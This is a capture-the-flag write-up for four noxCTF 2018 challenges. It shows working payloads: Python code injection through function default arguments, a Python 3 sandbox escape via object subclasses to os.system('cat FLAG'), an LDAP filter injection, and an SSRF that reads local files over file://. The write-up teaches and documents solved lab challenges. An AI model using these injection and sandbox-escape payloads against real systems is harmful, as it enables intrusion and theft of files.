noxCTF 2018 - Write-ups - Part 1

Information#

CTF#

292 - Python for fun - Misc#

Welcome to noxale's online python class!!! You can try it for free for a limited time and learn basic programming in python 3. http://chal.noxale.com:8000

On http://chal.noxale.com:8000/match_signature_to_body there is a function definition like def fun() where we can pass two arguments, that are interpreted.

The form is like that:

        <form action="/match_signature_to_body" method="post">
  <input type='hidden' name='csrfmiddlewaretoken' value='OTNDzFTNnUsskr7gZ7YYCL7u2AkG3PXWR7WJ1xEgtvQelJDzSs1rTaCieFMdj8eN' />
 <div class="row">
     <div class="col s12">
  def fun(
  <div class="input-field inline">
      <input type="text" name="answer" required id="id_answer" />
  </div>
  ):
     </div>
 </div>
  <pre><code class="python">
    c = a + b
    return c
</code></pre>
  <button class="btn waves-effect waves-light" type="submit" name="action">Submit</button>
        </form>

This is the only page we can exploit because other pages are just a multiple value form like this one:

        <form action="/fix_the_code" method="post">
  <input type='hidden' name='csrfmiddlewaretoken' value='q0z6g07MYz6yA4TnZIEDGfaI5r42BWXTteIcISSf4aukBmpGS3H6XEFwhwwzRfeK' />
 <div>
  <p>
      <label>
<input type="radio" name="answer" value="0" id="id_answer_0" required />
<span>b -= 15</span>
      </label>
  </p>
  <p>
      <label>
<input type="radio" name="answer" value="1" id="id_answer_1" required />
<span>a += 25</span>
      </label>
  </p>
  <p>
      <label>
<input type="radio" name="answer" value="2" id="id_answer_2" required />
<span>b += 25</span>
      </label>
  </p>
  <p>
      <label>
<input type="radio" name="answer" value="3" id="id_answer_3" required />
<span>a += 15</span>
      </label>
  </p>
 </div>
  <button class="btn waves-effect waves-light" type="submit" name="action">Submit</button>
        </form>

So match signature to body is the only exercise where user input is taken.

The legitimate answer is a,b.

But we can try to inject a default value to some parameters a,b=dir()[0].

It's still valid.

Now try to display something if we want to leak the flag: a,b=print("toto").

This is not a good answer anymore but this is evaluated and it displays toto:

Nice now we try to leak some stuff:

a,b=print(exec("import os"),eval("os.listdir('.')"))
None ['db.sqlite3', 'learn_python', 'python_ctf_thing', 'Dockerfile', 'FLAG', 'manage.py', 'requirements.txt', 'templates']

a,b=print(open("FLAG", "r").read())

Flag is: noxCTF{py7h0n_15_4w350m3}

634 - Python for fun 2 - Misc#

A hacker found a sec hole in our online python class :( He read our secret file which contains the secret way of milking a snake! After hunting him down, we fixed the hole so no one will ever milk a snake again http://chal.noxale.com:8001

If we try our payloads from Python for fun 1 we get an error Illegal use! (open) or Illegal use! (exec). There must be a blacklist now.

Let's craft a payload to bypass the blacklist.

Create a string class (also works with list or dict)

>>> ''.__class__
<class 'str'>

Now we need the parent class, there is two ways:

>>> ''.__class__.__base__
<class 'object'>
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)
>>> ''.__class__.__mro__[1]
<class 'object'>

Now we have the object class. So we can access to all the child classes:

>>> ''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib._installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class 'zipimport.zipimporter'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'rlcompleter.Completer'>]

Let's find a more suitable way to access the subclasses by index:

>>> for i,val in enumerate(''.__class__.__mro__[1].__subclasses__()):
...   print(i,': ',val)
...
0 :  <class 'type'>
1 :  <class 'weakref'>
2 :  <class 'weakcallableproxy'>
3 :  <class 'weakproxy'>
4 :  <class 'int'>
5 :  <class 'bytearray'>
6 :  <class 'bytes'>
7 :  <class 'list'>
8 :  <class 'NoneType'>
9 :  <class 'NotImplementedType'>
10 :  <class 'traceback'>
11 :  <class 'super'> 
12 :  <class 'range'>
13 :  <class 'dict'>
14 :  <class 'dict_keys'>
15 :  <class 'dict_values'>
16 :  <class 'dict_items'>
17 :  <class 'odict_iterator'>
18 :  <class 'set'>
19 :  <class 'str'>
20 :  <class 'slice'>
21 :  <class 'staticmethod'>
22 :  <class 'complex'>
23 :  <class 'float'>
24 :  <class 'frozenset'>
25 :  <class 'property'>
26 :  <class 'managedbuffer'>
27 :  <class 'memoryview'>
28 :  <class 'tuple'> 
29 :  <class 'enumerate'>
30 :  <class 'reversed'>
31 :  <class 'stderrprinter'>
32 :  <class 'code'>
33 :  <class 'frame'>
34 :  <class 'builtin_function_or_method'>
35 :  <class 'method'>
36 :  <class 'function'>
37 :  <class 'mappingproxy'>
38 :  <class 'generator'>
39 :  <class 'getset_descriptor'>
40 :  <class 'wrapper_descriptor'>
41 :  <class 'method-wrapper'>
42 :  <class 'ellipsis'>
43 :  <class 'member_descriptor'>
44 :  <class 'types.SimpleNamespace'>
45 :  <class 'PyCapsule'>
46 :  <class 'longrange_iterator'>
47 :  <class 'cell'>
48 :  <class 'instancemethod'>
49 :  <class 'classmethod_descriptor'>
50 :  <class 'method_descriptor'>
51 :  <class 'callable_iterator'>
52 :  <class 'iterator'>
53 :  <class 'coroutine'>
54 :  <class 'coroutine_wrapper'>
55 :  <class 'moduledef'>
56 :  <class 'module'>
57 :  <class 'EncodingMap'>
58 :  <class 'fieldnameiterator'>
59 :  <class 'formatteriterator'>
60 :  <class 'filter'>
61 :  <class 'map'>
62 :  <class 'zip'>
63 :  <class 'BaseException'>
64 :  <class 'hamt'>
65 :  <class 'hamt_array_node'>
66 :  <class 'hamt_bitmap_node'>
67 :  <class 'hamt_collision_node'>
68 :  <class 'keys'>
69 :  <class 'values'>
70 :  <class 'items'>
71 :  <class 'Context'>
72 :  <class 'ContextVar'>
73 :  <class 'Token'>
74 :  <class 'Token.MISSING'> 
75 :  <class '_frozen_importlib._ModuleLock'>
76 :  <class '_frozen_importlib._DummyModuleLock'>
77 :  <class '_frozen_importlib._ModuleLockManager'>
78 :  <class '_frozen_importlib._installed_safely'>
79 :  <class '_frozen_importlib.ModuleSpec'>
80 :  <class '_frozen_importlib.BuiltinImporter'>
81 :  <class 'classmethod'>
82 :  <class '_frozen_importlib.FrozenImporter'>
83 :  <class '_frozen_importlib._ImportLockContext'>
84 :  <class '_thread._localdummy'>
85 :  <class '_thread._local'>
86 :  <class '_thread.lock'>
87 :  <class '_thread.RLock'>
88 :  <class 'zipimport.zipimporter'>
89 :  <class '_frozen_importlib_external.WindowsRegistryFinder'>
90 :  <class '_frozen_importlib_external._LoaderBasics'>
91 :  <class '_frozen_importlib_external.FileLoader'>
92 :  <class '_frozen_importlib_external._NamespacePath'>
93 :  <class '_frozen_importlib_external._NamespaceLoader'>
94 :  <class '_frozen_importlib_external.PathFinder'>
95 :  <class '_frozen_importlib_external.FileFinder'>
96 :  <class '_io._IOBase'>
97 :  <class '_io._BytesIOBuffer'>
98 :  <class '_io.IncrementalNewlineDecoder'>
99 :  <class 'posix.ScandirIterator'>
100 :  <class 'posix.DirEntry'>
101 :  <class 'codecs.Codec'> 
102 :  <class 'codecs.IncrementalEncoder'>
103 :  <class 'codecs.IncrementalDecoder'>
104 :  <class 'codecs.StreamReaderWriter'>
105 :  <class 'codecs.StreamRecoder'>
106 :  <class '_abc_data'>
107 :  <class 'abc.ABC'>
108 :  <class 'dict_itemiterator'>
109 :  <class 'collections.abc.Hashable'> 
110 :  <class 'collections.abc.Awaitable'>
111 :  <class 'collections.abc.AsyncIterable'>
112 :  <class 'async_generator'>
113 :  <class 'collections.abc.Iterable'>
114 :  <class 'bytes_iterator'>
115 :  <class 'bytearray_iterator'>
116 :  <class 'dict_keyiterator'>
117 :  <class 'dict_valueiterator'>
118 :  <class 'list_iterator'>
119 :  <class 'list_reverseiterator'>
120 :  <class 'range_iterator'>
121 :  <class 'set_iterator'>
122 :  <class 'str_iterator'>
123 :  <class 'tuple_iterator'>
124 :  <class 'collections.abc.Sized'>
125 :  <class 'collections.abc.Container'>
126 :  <class 'collections.abc.Callable'>
127 :  <class 'os._wrap_close'>
128 :  <class '_sitebuiltins.Quitter'>
129 :  <class '_sitebuiltins._Printer'>
130 :  <class '_sitebuiltins._Helper'>
131 :  <class 'types.DynamicClassAttribute'>
132 :  <class 'types._GeneratorWrapper'>
133 :  <class 'warnings.WarningMessage'>
134 :  <class 'warnings.catch_warnings'>
135 :  <class 'importlib.abc.Finder'>
136 :  <class 'importlib.abc.Loader'>
137 :  <class 'importlib.abc.ResourceReader'>
138 :  <class 'operator.itemgetter'>
139 :  <class 'operator.attrgetter'>
140 :  <class 'operator.methodcaller'>
141 :  <class 'itertools.accumulate'>
142 :  <class 'itertools.combinations'>
143 :  <class 'itertools.combinations_with_replacement'>
144 :  <class 'itertools.cycle'>
145 :  <class 'itertools.dropwhile'>
146 :  <class 'itertools.takewhile'>
147 :  <class 'itertools.islice'>
148 :  <class 'itertools.starmap'>
149 :  <class 'itertools.chain'>
150 :  <class 'itertools.compress'>
151 :  <class 'itertools.filterfalse'>
152 :  <class 'itertools.count'>
153 :  <class 'itertools.zip_longest'>
154 :  <class 'itertools.permutations'>
155 :  <class 'itertools.product'>
156 :  <class 'itertools.repeat'>
157 :  <class 'itertools.groupby'>
158 :  <class 'itertools._grouper'>
159 :  <class 'itertools._tee'>
160 :  <class 'itertools._tee_dataobject'>
161 :  <class 'reprlib.Repr'>
162 :  <class 'collections.deque'>
163 :  <class '_collections._deque_iterator'>
164 :  <class '_collections._deque_reverse_iterator'>
165 :  <class 'collections._Link'>
166 :  <class 'functools.partial'>
167 :  <class 'functools._lru_cache_wrapper'>
168 :  <class 'functools.partialmethod'>
169 :  <class 'contextlib.ContextDecorator'>
170 :  <class 'contextlib._GeneratorContextManagerBase'>
171 :  <class 'contextlib._BaseExitStack'>
172 :  <class 'rlcompleter.Completer'>

In python2 we could call some dangerous class from here but in python3 this is a little more complex.

I find a pyjail WU where someone was able to call sys from codecs.StreamReaderWriter class.

''.__class__.__mro__[1].__subclasses__()[104]
<class 'codecs.StreamReaderWriter'>

Using __init__ to initialize the class and __globals__ to access the global namespace of the module in which the function was defined.

A reference to the dictionary that holds the function’s global variables — the global namespace of the module in which the function was defined.

cf. https://docs.python.org/3/reference/datamodel.html

So from this namespace we are able to call sys.

>>> ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"]
<module 'sys' (built-in)>

Then it's easy to import os:

>>> ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"]
<module 'os' from '/usr/lib/python3.7/os.py'>

And finally using system method to launch a system command and read the flag:

''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__["sys"].modules["os"].system("cat FLAG")

Flag is noxCTF{py7h0n_15_6r347}.

902 - Dictionary of obscure sorrows - Web#

There are a lot of obscure sorrows in our world.

Your job is not to find those that are plain in sight;

You need to seek further, look deeper.

Find the word that can not be written.

The most obscure sorrow of them all.

http://54.152.220.222/

Disclosure: I flaged it after the end of the CTF

If we change a real page name (ex: Sonder) with s* this is still displaying the right page:

But requesting http://54.152.220.222/word.php?page=b* returns me an error message Query returned empty so I knew there was an LDAP injection.

Now we need to know the params to inject.

By requesting the page http://54.152.220.222/word.php without a parameter I got the following error Missing RDN inside ObjectClass(document).

So we know ObjectClass is document.

Let's find the attributes of document on https://oav.net/mirrors/LDAP-ObjectClasses.html

document objectclass have these attributes:

  • commonName
  • description
  • seeAlso
  • l
  • o
  • ou
  • documentTitle
  • documentVersion
  • documentAuthor
  • documentLocation
  • documentPublisher

Looking at the template there is the title displayed and a description.

Also we know the flag format is noxCTF{}.

So let's try to find an object where the description attribute begin with nox.

By requesting http://54.152.220.222/word.php?page=*)(description=nox* I got the flag noxCTF{K1NG_0F_LD4P}.

670 - hiddenDOM - Web#

I decided to create a tool that searches for hidden elements inside a web pages. Few days ago someone told me that my website is not so /secure/... Can you check it yourself ?

http://chal.noxale.com:5588

Disclosure: I flaged it after the end of the CTF

I first checked the source code where I found obfuscated javascript.

var _0x3bc3=["\x6D\x61\x69\x6E\x5F\x66\x6F\x72\x6D","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x69\x6E\x70\x75\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x6E\x61\x6D\x65","\x65\x78\x70\x72\x65\x73\x73\x69\x6F\x6E","\x73\x65\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65","\x74\x79\x70\x65","\x74\x65\x78\x74","\x70\x6C\x61\x63\x65\x68\x6F\x6C\x64\x65\x72","\x2F\x3C\x5B\x5E\x3C\x3E\x5D\x7B\x31\x2C\x7D\x68\x69\x64\x64\x65\x6E\x5B\x5E\x3C\x3E\x5D\x7B\x31\x2C\x7D\x3E\x2F"];var _frss=document[_0x3bc3[1]](_0x3bc3[0]);var _xEger=document[_0x3bc3[3]](_0x3bc3[2]);_xEger[_0x3bc3[6]](_0x3bc3[4],_0x3bc3[5]);_xEger[_0x3bc3[6]](_0x3bc3[7],_0x3bc3[8]);_xEger[_0x3bc3[6]](_0x3bc3[9],_0x3bc3[10])

I did a first pass of deobfuscation with http://jsnice.org/

'use strict';
/** @type {!Array} */
var _0x3bc3 = ["main_form", "getElementById", "input", "createElement", "name", "expression", "setAttribute", "type", "text", "placeholder", "/<[^<>]{1,}hidden[^<>]{1,}>/"];
var _frss = document[_0x3bc3[1]](_0x3bc3[0]);
var _xEger = document[_0x3bc3[3]](_0x3bc3[2]);
_xEger[_0x3bc3[6]](_0x3bc3[4], _0x3bc3[5]);
_xEger[_0x3bc3[6]](_0x3bc3[7], _0x3bc3[8]);
_xEger[_0x3bc3[6]](_0x3bc3[9], _0x3bc3[10]);

And did a second pass manually:

var _frss = document["getElementById"]("main_form"); /* <form id="main_form" action="index.php" style="position:sticky;"> */
var _xEger = document["createElement"]("input"); /* <input> */
_xEger["setAttribute"]("name", "expression"); /* <input name="expression"> */
_xEger["setAttribute"]("type", "text"); /* <input name="expression" type="text"> */
_xEger["setAttribute"]("placeholder", "/<[^<>]{1,}hidden[^<>]{1,}>/"); /* <input name="expression" placeholder="/<[^<>]{1,}hidden[^<>]{1,}>/" type="text"> */

So the javascript is creating those two HTML elements:

<form id="main_form" action="index.php" style="position:sticky;">
<input name="expression" placeholder="/<[^<>]{1,}hidden[^<>]{1,}>/" type="text">

So we can see an extra parameter expression is used.

Also there is somewhere in the source code:

<a href='/var/www/html/flag.txt' hidden >-_-</a>

So we know where we have to look for the flag.

Targeting the page itself http://chal.noxale.com:5588/index.php?target=http://chal.noxale.com:5588/index.php is revealing us a new obfuscated javascript block.

After jsnice:

'use strict';
/** @type {!Array} */
var _0x2b80 = ["slow", "fadeOut", "#hidden_elements", "click", "#hideArea", "ready", "fadeIn", "#showArea"];
$(document)[_0x2b80[5]](function() {
  $(_0x2b80[4])[_0x2b80[3]](function() {
    $(_0x2b80[2])[_0x2b80[1]](_0x2b80[0]);
  });
});
$(document)[_0x2b80[5]](function() {
  $(_0x2b80[7])[_0x2b80[3]](function() {
    $(_0x2b80[2])[_0x2b80[6]](_0x2b80[0]);
  });
});

After manual deobfuscation:

$(document)["ready"](function() {
  $("#hideArea")["click"](function() {
    $("#hidden_elements")["fadeOut"]("slow");
  });
});
$(document)["ready"](function() {
  $("#showArea")["click"](function() {
    $("#hidden_elements")["fadeIn"]("slow");
  });
});

This is just the code for toggling the hidden area. It's useless for us.

We can also target trhe localhost: http://chal.noxale.com:5588/index.php?target=http://127.0.0.1 so we know we are looking for a SSRF.

Targeting file://etc/passwd is working, but as long as there is no line with hidden inside, it won't display anything. Because the regex on server side is displaying only lines matching /<[^<>]{1,}hidden[^<>]{1,}>/ as we saw during the deobfuscation.

So let's use an expression like /nox.*/ to show the flag: http://13.59.2.198:5588/?target=file:///var/www/html/flag.txt&expression=/nox.*/

The flag is noxCTF{/[h1DD3N]*[55Rf]*[r393X]*/}.

Share